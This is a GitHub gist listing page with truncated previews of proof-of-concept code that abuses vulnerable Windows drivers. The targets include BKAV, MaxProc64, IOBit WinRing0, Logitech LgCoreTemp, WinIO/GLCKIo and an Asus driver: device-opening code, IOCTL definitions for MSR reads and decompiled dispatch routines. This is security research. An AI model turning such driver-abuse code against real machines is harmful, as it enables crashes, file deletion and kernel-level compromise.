Skip to content

Instantly share code, notes, and snippets.

@hfiref0x
hfiref0x / bkavsp.c
Created Feb 25, 2020
BKAVSP Arbitrary File Deletion
View bkavsp.c
#pragma warning(disable: 4005)
#include <windows.h>
#include <strsafe.h>
#include <ntstatus.h>
#include "ntos.h"
#if defined (_MSC_VER)
#if (_MSC_VER >= 1900)
#ifdef _DEBUG
View MaxBSOD.c
int main()
{
HANDLE deviceHandle = CreateFile(TEXT("\\\\.\\MaxProc64"),
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
View maxproc64.c
__int64 __fastcall DrvDispatch(PDEVICE_OBJECT DeviceObject, _IRP *Irp)
{
_IO_STACK_LOCATION *StackLocation;
_IRP *_Irp;
__int64 Id;
StackLocation = Irp->Tail.Overlay.CurrentStackLocation;
_Irp = Irp;
switch ( StackLocation->Parameters.DeviceIoControl.IoControlCode )
{
@hfiref0x
hfiref0x / 0.c
Created Feb 22, 2020
IOBit WinRing0 hack-o-rama
View 0.c
#include <windows.h>
#include "ntos.h"
#include <cstdio>
NTSTATUS CallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
View asusgio2.c
NTSTATUS CallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult = FALSE;
IO_STATUS_BLOCK ioStatus;
@hfiref0x
hfiref0x / lg.c
Created Feb 18, 2020
Logitech LgCoreTemp.sys Features
View lg.c
#include <windows.h>
#include <cstdio>
#include "ntos.h"
#define LG_DEVICE_TYPE (DWORD)0xC350
#define LG_READVALUE (DWORD)0x800
#define LG_READREFCOUNT (DWORD)0x801
#define LG_READMSR (DWORD)0x821
#define IOCTL_LG_READVALUE \
View entech_new.c
#include <windows.h>
#include <cstdio>
#include "ntos.h"
#define WINIO_DEVICE_TYPE (DWORD)0x8010
#define WINIO_READMSR (DWORD)0x816
#define IOCTL_WINIO_READMSR \
CTL_CODE(WINIO_DEVICE_TYPE, WINIO_READMSR, METHOD_BUFFERED, FILE_ANY_ACCESS)
View GLCKIo2.c
#include "ntos.h"
#define GLCKIO_DEVICE_TYPE (DWORD)0x8010 //same as WinIO/MsIo and all clones based on this bugfest code
#define GLCKIO_REGISTER_FUNCID (DWORD)0x818
#define GLCKIO_READMSR (DWORD)0x816
#define IOCTL_GKCKIO_REGISTER \
CTL_CODE(GLCKIO_DEVICE_TYPE, GLCKIO_REGISTER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS)
@hfiref0x
hfiref0x / MiRememberUnloadedDriver.asm
Last active Jul 2, 2021
MiRememberUnloadedDriver
View MiRememberUnloadedDriver.asm
typedef struct _UNLOADED_DRIVERS {
UNICODE_STRING Name;
PVOID StartAddress;
PVOID EndAddress;
LARGE_INTEGER CurrentTime;
} UNLOADED_DRIVERS, *PUNLOADED_DRIVERS;
#define MI_UNLOADED_DRIVERS 50
mov reg, 7D0h ; -> NumberOfBytes = MI_UNLOADED_DRIVERS * sizeof (UNLOADED_DRIVERS);
View handleopen.c
NTSTATUS HandleOpen(PDEVICE_OBJECT DeviceObject, IRP *Irp)
{
NTSTATUS ntStatus;
BOOL bAllowed;
PIO_SECURITY_CONTEXT SecurityContext;
PACCESS_STATE AccessState;
PACCESS_TOKEN Token;
DWORD IsTokenElevated;
DWORD tokenIntegrityLevel;
PTOKEN_ELEVATION tokenElevation;